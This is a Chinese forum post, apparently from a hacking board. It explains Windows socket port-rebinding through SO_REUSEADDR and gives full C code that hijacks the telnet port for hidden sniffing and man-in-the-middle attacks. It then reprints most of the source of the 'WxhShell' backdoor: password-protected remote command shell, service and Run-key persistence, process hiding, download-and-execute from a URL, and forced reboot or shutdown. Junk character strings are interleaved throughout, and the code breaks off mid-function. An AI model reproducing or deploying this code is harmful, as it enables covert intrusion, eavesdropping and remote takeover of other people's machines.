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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: i,G )kt'H  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); 4BSSJ@z  
rw*#ta O  
  saddr.sin_family = AF_INET; ;dq AmBG{8  
&^-quzlZ  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); K>H_q@-?f  
71GLqn?  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); Oh9jr"Gm=  
:hB 8hTw]p  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 v&:R{  
,~@0IKIA Q  
  这意味着什么?意味着可以进行如下的攻击: r{~K8!=oU]  
"WKE% f  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 J?Kgev%  
!?Tu pi  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) _J}vPm  
ii%n:0+zm  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 v5i?4?-Z  
E|f&SEnzK  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  a8fLj  
1zE_ SNx  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 VN=S&iBa/  
WZ"g:Khw  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 aOYRenqu  
qx! NU}6  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 GnbXS>  
'c#ZW| A  
  #include V%~u8b  
  #include f#xqu +)Z  
  #include !" E&Tk}  
  #include    Ugmg,~U~k  
  DWORD WINAPI ClientThread(LPVOID lpParam);   r>lC(x\B  
  int main() ],%}}UN  
  { D_E^%Ea&`  
  WORD wVersionRequested; ?k4O)?28  
  DWORD ret; lyzMKla"  
  WSADATA wsaData; |L{<=NNs:D  
  BOOL val; htg+V-,  
  SOCKADDR_IN saddr; LyA=(h6  
  SOCKADDR_IN scaddr; l'N>9~f  
  int err; '{EBK  
  SOCKET s; tYt/m6h  
  SOCKET sc; ]2Aqqy  
  int caddsize; ;F@dN,Y  
  HANDLE mt; Kb%j;y  
  DWORD tid;   YW"?Fy  
  wVersionRequested = MAKEWORD( 2, 2 ); 1 sCF -r  
  err = WSAStartup( wVersionRequested, &wsaData ); o?P(Fuf  
  if ( err != 0 ) { "42u0rH0J  
  printf("error!WSAStartup failed!\n"); d>F=|dakL  
  return -1; Jrlc%,pZ  
  } zk]6|i$!I  
  saddr.sin_family = AF_INET; (,\`?g  
   uC G^,BQ  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 s#sr1[9}G  
F0Xv84:O  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); .a:Oj3=0  
  saddr.sin_port = htons(23); B\bIMjXV  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) >VqMSe_v  
  { <PkDfMx2  
  printf("error!socket failed!\n"); )_EQU8D4ug  
  return -1; Uc e#v)  
  } `xbk)oW#  
  val = TRUE; & Qghm o  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 ))63?_  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) %@(6,^3%i  
  { ?7:"D e  
  printf("error!setsockopt failed!\n"); hMw}[6m  
  return -1; nZQZ!Vfj  
  } wP/rR D6  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; &K k+RHM  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 F!{N4X>%T  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 *n?6x!A  
;3'}(_n  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) 'dj}- Rs  
  { uXeBOLC  
  ret=GetLastError(); j^Zp BNL  
  printf("error!bind failed!\n"); rjU $*+  
  return -1; yB}y'5  
  } X4i$,$C  
  listen(s,2); -GP+e`d  
  while(1) A"eT @  
  { +XWXHt  
  caddsize = sizeof(scaddr); >FHTBh& Y  
  //接受连接请求 c[ff|-<g  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); ZvNXfC3Ia  
  if(sc!=INVALID_SOCKET) Uk ?V7?&  
  { LnZz=  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); ~;m~)D  
  if(mt==NULL) n<yV]i$  
  { TO[5h Y\  
  printf("Thread Creat Failed!\n"); Q}]:lmqH  
  break; 3v:RLnB  
  } : M0LAN  
  } .(;k]U P  
  CloseHandle(mt); w _eu@R:u@  
  } CNcH)2Mk  
  closesocket(s); zy@ #R;  
  WSACleanup(); & A9psc(,&  
  return 0; . 36'=K  
  }   OY~5o&Oa  
  DWORD WINAPI ClientThread(LPVOID lpParam) vWfC!k-)b  
  { OAw/  
  SOCKET ss = (SOCKET)lpParam; Q*$x!q  
  SOCKET sc; TQ@*eoJj  
  unsigned char buf[4096]; J+?xfg  
  SOCKADDR_IN saddr; \ox:/-[c\<  
  long num; K r]!BI?z  
  DWORD val;  =sG(l  
  DWORD ret; N!RyncJ  
  //如果是隐藏端口应用的话,可以在此处加一些判断 wrsETB c  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   \"Sqr(~_  
  saddr.sin_family = AF_INET; ? dSrY  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); 2%vwC]A  
  saddr.sin_port = htons(23); ,O a)  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) @uY%;%Pa8  
  { [W{`L_"  
  printf("error!socket failed!\n"); x+yt| &B  
  return -1; Q'~;RE%T  
  } :g<dwuVO  
  val = 100; :Np&G4IM>  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) Y<#7E;aL  
  { XfbkK )d  
  ret = GetLastError(); h"%6tpV-  
  return -1; @292;qi  
  } Y/Y746I  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) m}Tu^dy  
  { E C7f  
  ret = GetLastError(); 3L>V-RPiM  
  return -1; >47,Hq:2  
  } z8z U3?  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) C?x  
  { (nda!^f_s  
  printf("error!socket connect failed!\n"); jIdhmd* $z  
  closesocket(sc); D"1ciO8^I]  
  closesocket(ss); ]]%C\Ryy}  
  return -1; 0TA/ExJ-LT  
  } !2&h=;i~V  
  while(1) k7y!! AV  
  { 62vz 'b  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 JI\u -+BE  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 sMO3eNLn  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 _\o +9X!  
  num = recv(ss,buf,4096,0); @Gn9x(?J  
  if(num>0) B)^]V<l(w  
  send(sc,buf,num,0); $a5K  
  else if(num==0) &5d>jEaB}  
  break; H`@x5RjS   
  num = recv(sc,buf,4096,0); miN(a; Q2P  
  if(num>0) hr6f}2  
  send(ss,buf,num,0); Za}91z"  
  else if(num==0) TS3 00F  
  break; E?08=$^5%  
  } l^0 <a<P  
  closesocket(ss); :syR4A WM  
  closesocket(sc); $g|g}>Sc  
  return 0 ; QT%&vq  
  } &]z2=\^e  
W=)}=^N0  
m5d;lrk@&/  
========================================================== tO~H/0  
M6?Qw=  
下边附上一个代码,,WXhSHELL SxT:k,ji  
Wdy2;a<\{  
========================================================== ;utjW1y  
(\R"v^  
#include "stdafx.h" AH#e>kU^  
};zF&  
#include <stdio.h> * 5P/&*c|  
#include <string.h> t9P` nfY  
#include <windows.h> @ $(4;ar  
#include <winsock2.h> @&M $`b ^  
#include <winsvc.h> XTeU 2I  
#include <urlmon.h> I|R9@  
>Xb]n_`  
#pragma comment (lib, "Ws2_32.lib") * rs_k/2(  
#pragma comment (lib, "urlmon.lib") !4z"a@$  
[9+M/O|Vs  
#define MAX_USER   100 // 最大客户端连接数 4L5Wa~5\  
#define BUF_SOCK   200 // sock buffer o-)E_X  
#define KEY_BUFF   255 // 输入 buffer iSFgFJG^  
r2&{R!Fj`  
#define REBOOT     0   // 重启 3{$c b"5  
#define SHUTDOWN   1   // 关机 9U;) [R Mb  
)(!vd!p5  
#define DEF_PORT   5000 // 监听端口 hR{Fn L  
,:z@Ji  
#define REG_LEN     16   // 注册表键长度 s@3!G+ -}  
#define SVC_LEN     80   // NT服务名长度 sHEISNj/^  
g" M1HxlV  
// 从dll定义API yr;oq(&N  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); ;wvV hQ  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); #vS>^OyP  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); CF>NyY:_  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); (iS94}-)  
z-,U(0 .  
// wxhshell配置信息 _N<qrH^;  
struct WSCFG { V25u'.'v  
  int ws_port;         // 监听端口 2+?M(=4  
  char ws_passstr[REG_LEN]; // 口令 X$st{@}ZB  
  int ws_autoins;       // 安装标记, 1=yes 0=no a>Q7Qn  
  char ws_regname[REG_LEN]; // 注册表键名 U\b,W&%P  
  char ws_svcname[REG_LEN]; // 服务名 vO&1F@  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 Fir7z nRW  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 MOOL=Um3  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 iezz[;t  
int ws_downexe;       // 下载执行标记, 1=yes 0=no 7qh_URt@  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" %l5J  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 * |,V$  
2oq>tnYyV[  
}; {(aJrSE<z  
8}S|iM  
// default Wxhshell configuration khEHMvVH  
struct WSCFG wscfg={DEF_PORT, (oTx*GP>Y  
    "xuhuanlingzhe", W~7q&||;C  
    1, u|w[ b9^r  
    "Wxhshell", d ch(HB}[  
    "Wxhshell", cPtP?)38.  
            "WxhShell Service", q&P"  
    "Wrsky Windows CmdShell Service", %_/_klxnO  
    "Please Input Your Password: ", ?EtK/6dJZt  
  1, 4l z9z>J.V  
  "http://www.wrsky.com/wxhshell.exe", 2 K` hH  
  "Wxhshell.exe" g4~{#P^i  
    }; :/1WJG:!  
z1YC%Y|R  
// 消息定义模块 & d~6MSk  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; 9RAN$\AKy  
char *msg_ws_prompt="\n\r? for help\n\r#>"; pRYt.}/K  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; e+&/ Tq'2  
char *msg_ws_ext="\n\rExit."; a Fl(K\  
char *msg_ws_end="\n\rQuit."; EnfSVG8kB8  
char *msg_ws_boot="\n\rReboot..."; 2P]rJ  
char *msg_ws_poff="\n\rShutdown..."; fw-LZ][  
char *msg_ws_down="\n\rSave to "; Pw+cpM 8<  
;%Z)$+Z_)<  
char *msg_ws_err="\n\rErr!"; 3 i>uKU1  
char *msg_ws_ok="\n\rOK!"; rVZk G,Q  
XV!P8n  
char ExeFile[MAX_PATH]; :]?I|.a  
int nUser = 0; )C <sj   
HANDLE handles[MAX_USER]; :x16N|z  
int OsIsNt; |*8 J.H*r  
`+i<:,z-gs  
SERVICE_STATUS       serviceStatus; U${dWxC  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; * 78TT \q<  
.PF~8@1ju  
// 函数声明 m:K/ )v*  
int Install(void); SVeL c  
int Uninstall(void); zvSfW# *  
int DownloadFile(char *sURL, SOCKET wsh); E*k=8$Y  
int Boot(int flag); G0<m3 Up  
void HideProc(void); CbwQ'c$}  
int GetOsVer(void); 'S&5zwrH  
int Wxhshell(SOCKET wsl); 6R"& !.ZF  
void TalkWithClient(void *cs); ga!t:O@w  
int CmdShell(SOCKET sock); C'hZNFsF;  
int StartFromService(void); G;`+MgJ)  
int StartWxhshell(LPSTR lpCmdLine); RD,` D!  
_jP]ifu`  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); m[%&K W(  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); ve'hz{W  
6$`8y,TMSt  
// 数据结构和表定义 OCF= )#}qd  
SERVICE_TABLE_ENTRY DispatchTable[] = a^|mF# z  
{ d)9=hp;,V  
{wscfg.ws_svcname, NTServiceMain}, o2&mhT  
{NULL, NULL} 'Kc;~a  
}; ~kF^0-JZY  
(AV j_Cw  
// 自我安装  rf oLg  
int Install(void) @#;~_?$?C  
{ 8BBuYY {  
  char svExeFile[MAX_PATH]; $FS j^v]  
  HKEY key; &@nI(PXv  
  strcpy(svExeFile,ExeFile); 8*6U4R  
~#O nA1)  
// 如果是win9x系统,修改注册表设为自启动 <Y<%=`  
if(!OsIsNt) { ".~,(*  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { F d *p3a  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); C+jlIT+  
  RegCloseKey(key); {ge^&l  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { O*T(aM3r  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); rVkRU5  
  RegCloseKey(key); sF f@>  
  return 0; l g~Gkd6  
    } mM!Gomp  
  } =5',obYN>c  
} :[,-wZiT~6  
else { tVFl`Xr   
O_*%_S}F&  
// 如果是NT以上系统,安装为系统服务 3Vs8"BFjz  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); RMDzPda.  
if (schSCManager!=0) !CY: XQm  
{ ~"#qG6dP  
  SC_HANDLE schService = CreateService ?7*.S Lt  
  ( Qw}uB$S>  
  schSCManager, V*}ft@GPD  
  wscfg.ws_svcname, 4ba[*R2  
  wscfg.ws_svcdisp, ,F!zZNW9  
  SERVICE_ALL_ACCESS, EWrIDZi  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , xN'$ Yh  
  SERVICE_AUTO_START,  l|j  
  SERVICE_ERROR_NORMAL, /R!:ll2  
  svExeFile, O,x[6P54P  
  NULL, e?,n>  
  NULL, 58V`I5_  
  NULL, <Y:{>=  
  NULL, r roI  
  NULL e ^2n58  
  ); +Hgil  
  if (schService!=0) f; w\k7 #  
  { +DU^"q=  
  CloseServiceHandle(schService); Qzt'ZK  
  CloseServiceHandle(schSCManager); g]vo."}5E  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); 41Hv)}Yd  
  strcat(svExeFile,wscfg.ws_svcname); e#!%:M;4P  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { 3K!(/,`  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); S6Y2(qdP  
  RegCloseKey(key); |Bz1u|uc  
  return 0; [;t-XC?[nk  
    } J2adG+=  
  } \| &KD  
  CloseServiceHandle(schSCManager); N?`V;`[  
} WPI<SsLd  
} . |%n"{  
f$ 9O0,}%O  
return 1; hK+6S3-E z  
} 70Jx[3vr  
jVi> 9[rz  
// 自我卸载 oq${}n<  
int Uninstall(void) 3>M%?d  
{ B\S}*IE  
  HKEY key; B>.x@(}V~  
 |W_;L6)  
if(!OsIsNt) { ORuC("  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { K*I!:1;3N  
  RegDeleteValue(key,wscfg.ws_regname); /9ctmW1!<  
  RegCloseKey(key); U}@xMt8@l  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { *IX<&u#  
  RegDeleteValue(key,wscfg.ws_regname); v|\3FEu@  
  RegCloseKey(key); aKjP{Z0k$  
  return 0; 5(>SFxz"t  
  } ,2YZB*6h{  
} ~=va<%{ U  
} ysapvQN_6  
else { VWq]w5oQO  
' _d4[Olu  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); 5EU~T.4C<  
if (schSCManager!=0) 7UIf   
{ {Y-~7@  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); 0FSNIPx  
  if (schService!=0) "i#aII+T  
  { Jvc:)I1NE7  
  if(DeleteService(schService)!=0) {  bTU[E  
  CloseServiceHandle(schService); <Pzy'9  
  CloseServiceHandle(schSCManager); Lq|>n Y  
  return 0;  J3`0i@  
  } :of(wZa3Q  
  CloseServiceHandle(schService); Hz\@#   
  } m/z,MT74*J  
  CloseServiceHandle(schSCManager); w 5 yOSz  
} u 3^pQ6Q  
} b9-IrR4h  
nr2 Q[9~  
return 1; _j+!Fd  
} a`L:E'|B9  
m9vX8;.  
// 从指定url下载文件 eU\xOTl~<{  
int DownloadFile(char *sURL, SOCKET wsh) _ f'v>"K  
{ 85YUqVi9  
  HRESULT hr; 84vd~Cf 9  
char seps[]= "/"; aaP_^m O  
char *token; NV7k@7_{B  
char *file; !_vxbfZO  
char myURL[MAX_PATH]; SE'!j]6jI  
char myFILE[MAX_PATH]; Z\?2"4H  
N_I KH)  
strcpy(myURL,sURL); Cb1w8l0  
  token=strtok(myURL,seps); D"J',YN$  
  while(token!=NULL)  g5 T  
  { 1W\E`)Z}]  
    file=token; m>%b4M  
  token=strtok(NULL,seps); !$A/.;0$  
  } 4qdoF_  
s3HVX'   
GetCurrentDirectory(MAX_PATH,myFILE); -8xf}v~u  
strcat(myFILE, "\\"); Wl |5EY  
strcat(myFILE, file); As<B8e]  
  send(wsh,myFILE,strlen(myFILE),0); +x(#e'6p  
send(wsh,"...",3,0); jMgXIK\  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); GlnO8cAB  
  if(hr==S_OK) yVII<ImqIH  
return 0; +? h}e  
else ];Z6=9n  
return 1; kk %32(By  
CJ* D  
} _Z23lF 9  
8LbwEKl  
// 系统电源模块 )\|+G5#`  
int Boot(int flag) ]QhTxrF"  
{ W7^[W.  
  HANDLE hToken; -~mgct5  
  TOKEN_PRIVILEGES tkp; $#q`Y+;L2  
#L~i|(=U5  
  if(OsIsNt) { &)Xc'RQ.C  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); Lm TFvZ  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); &^r>Q`u  
    tkp.PrivilegeCount = 1; OvtE)u l@  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; z Fo11;*D  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); f<NR6],}  
if(flag==REBOOT) { f#= c=e-A  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) P.}d@qD{)  
  return 0; J#zr50@@  
} 3''S x8p  
else { ]1|P|Jp  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) hq)1YO  
  return 0; 'v"=   
} D7;9D*o\  
  } $@D a|d4  
  else { g1s%x=7/  
if(flag==REBOOT) { #;$]M4  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) xWxc1tT`  
  return 0; X H-_tvB  
} HeOdCr-PN  
else { D5TDg\E  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) gcU*rml  
  return 0; r 3W3;L   
} 4f([EV[6dK  
} lH}KFFbp  
$KK~KEZ2  
return 1; ,~1"50 Hp@  
} d9K8[Q5^3  
qhEv6Yxfw6  
// win9x进程隐藏模块 FQ]/c#J  
void HideProc(void) ?13qDD:  
{ fSkDD>&  
>?, Zn  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); `POzwYh  
  if ( hKernel != NULL ) wI$ a1H  
  { {FNkPX  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); ?, S/>SP  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); DN*5q9.  
    FreeLibrary(hKernel); l3>S{  
  } \84t\jKR  
AcC &Q:g  
return; ieFl4hh[G  
} o4);5~1l  
1~5DIU^  
// 获取操作系统版本 qN $t_  
int GetOsVer(void) 0cd_l 2f#g  
{ S6TNu+2w4  
  OSVERSIONINFO winfo; Y;"k5 + q  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); X@rA2);6  
  GetVersionEx(&winfo); *l+#<5x  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) ^"WV E["  
  return 1; 0!T`.UMI  
  else c0qp-=^&.  
  return 0; fpD$%.y'J  
} ghk=` !yKw  
Zw.8B0W  
// 客户端句柄模块 7>FXsUt_  
int Wxhshell(SOCKET wsl)  =<HDek  
{ Ld4U  
  SOCKET wsh; UB/> Ro  
  struct sockaddr_in client; S+ kq1R  
  DWORD myID; )cqD">vs  
F (*B1J2_g  
  while(nUser<MAX_USER) gcJ!_KZK  
{ $[ {5+*  
  int nSize=sizeof(client); |$RNY``J  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); ?=VvFfv%  
  if(wsh==INVALID_SOCKET) return 1;  I//=C6  
6 ':iW~iI  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); WYP;s7_  
if(handles[nUser]==0) ;<[X\;|'  
  closesocket(wsh); =]W i aF  
else |#oS7oV(  
  nUser++; 3S^0%"fY  
  } $></%S2g  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); _BczR:D*  
"-J 5!y*,Y  
  return 0; 4&/CES  
} Harg<l  
}E'0vf /  
// 关闭 socket uDf<D.+5Ze  
void CloseIt(SOCKET wsh) #Y'eS'lv4  
{ U!wi;W2  
closesocket(wsh); wP!X)p\  
nUser--; :|S zD4Ag  
ExitThread(0); A# {63_H  
} bsIG1&n'T  
IhnBp 6p9  
// 客户端请求句柄 p_FM 2K7!  
void TalkWithClient(void *cs) nhV"V`|d  
{ h9vcN#22D  
k]b*&.EY1  
  SOCKET wsh=(SOCKET)cs; TdtV (  
  char pwd[SVC_LEN]; swKkY`g  
  char cmd[KEY_BUFF]; 18X@0e  
char chr[1]; ?t#wK}d.  
int i,j; &V"oJ}M/a  
!X>u.}?g  
  while (nUser < MAX_USER) { e+ xQ\LH  
 bGRt  
if(wscfg.ws_passstr) { qQ@| Cj  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 9U8M|W|d  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); S,Y|;p<+^  
  //ZeroMemory(pwd,KEY_BUFF); c}(WniR-"  
      i=0; *@U{[J  
  while(i<SVC_LEN) { hHs/Qtq  
#6`5-5Ks;  
  // 设置超时 Ndmt$(b  
  fd_set FdRead; Fn4v/)*H  
  struct timeval TimeOut; 04a ^jjc  
  FD_ZERO(&FdRead); f5jl$H.  
  FD_SET(wsh,&FdRead); JF~i.+{ h  
  TimeOut.tv_sec=8; u-_r2U  
  TimeOut.tv_usec=0; Hbm 4oYN  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); _;lw,;ftA  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); $( hT{C,K  
$] 6u#5  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);  @MW@mP)#  
  pwd=chr[0]; +-9vrEB  
  if(chr[0]==0xd || chr[0]==0xa) { g=*jKSZ  
  pwd=0; P7x;G5'.  
  break; 3h:j.8Z  
  } =ily=j"hK  
  i++; 20:F$d  
    } IqOg{#sm  
.sMs_ 5D  
  // 如果是非法用户,关闭 socket s**<=M GK  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); 36d nS>4  
} j\>LJai"  
h2l;xt  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); ~9X^3.nI  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); @AyteHK  
\Mf>X\}  
while(1) { PEMkx"h +  
YQVo7"`%  
  ZeroMemory(cmd,KEY_BUFF); G6SgVaM  
)rc!irac]  
      // 自动支持客户端 telnet标准   <p@Cx  
  j=0; tUn >=>cWP  
  while(j<KEY_BUFF) { Z!p\=M,%  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); (In{GA7 ;  
  cmd[j]=chr[0]; 2HbnE&  
  if(chr[0]==0xa || chr[0]==0xd) { !avol/*  
  cmd[j]=0; +WX/4_STV  
  break; }gp@0ri%5  
  } B(Sy.n  
  j++; [&x9<f6  
    } 8K%N7RL|  
G0FzXtu)q  
  // 下载文件 }nmlN  
  if(strstr(cmd,"http://")) { 2YD\KXDo  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); i FI74COam  
  if(DownloadFile(cmd,wsh)) #]#9Xq  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); x*7@b8J  
  else Q>niJ'7WF  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); i'tMpS3  
  }  W!Tx%  
  else { [%W'd9`>  
86&M Zdv6  
    switch(cmd[0]) { KK|w30\f  
  1wSAwpz  
  // 帮助 \Z{tC$|H  
  case '?': { uvys>]+  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); {X{R]  
    break; C.j+Zb1Z(  
  } KE?t?p  
  // 安装 ,'L>:pF3  
  case 'i': { $8EEtr,!  
    if(Install()) @"w4R6l+*  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); | dQ>)_  
    else C@M-_Ud>Q  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 8%rD/b6`  
    break; hp dI5  
    } K_Y-N!h  
  // 卸载  01kRe  
  case 'r': { rPxRGoR  
    if(Uninstall()) _&KqmQ8$7  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Im]@#X  
    else ]8G 'R-8}  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); }\ _.Mg^y  
    break; yOM/UdWq  
    } [8V;Q  
  // 显示 wxhshell 所在路径 _,3ljf?WQM  
  case 'p': { bG;fwgAr  
    char svExeFile[MAX_PATH]; -t-f&`S||  
    strcpy(svExeFile,"\n\r"); 62xOh\(  
      strcat(svExeFile,ExeFile); `sjY#Ua<  
        send(wsh,svExeFile,strlen(svExeFile),0); 5Cf!NNV  
    break; 4jT6h9%  
    } /2^L;#  
  // 重启 "2%z;!U1  
  case 'b': { ?0qVyK_1  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); s 6Wp"V(  
    if(Boot(REBOOT)) BR|!ya+_2  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); S"bN9?;#u  
    else { nz 10/nw  
    closesocket(wsh); R'c*CLaiE  
    ExitThread(0); q~{) {t;  
    } c r=Q39{  
    break; 1(' wg!  
    } %-hSa~20  
  // 关机 G':3U  
  case 'd': { 5D s[?  
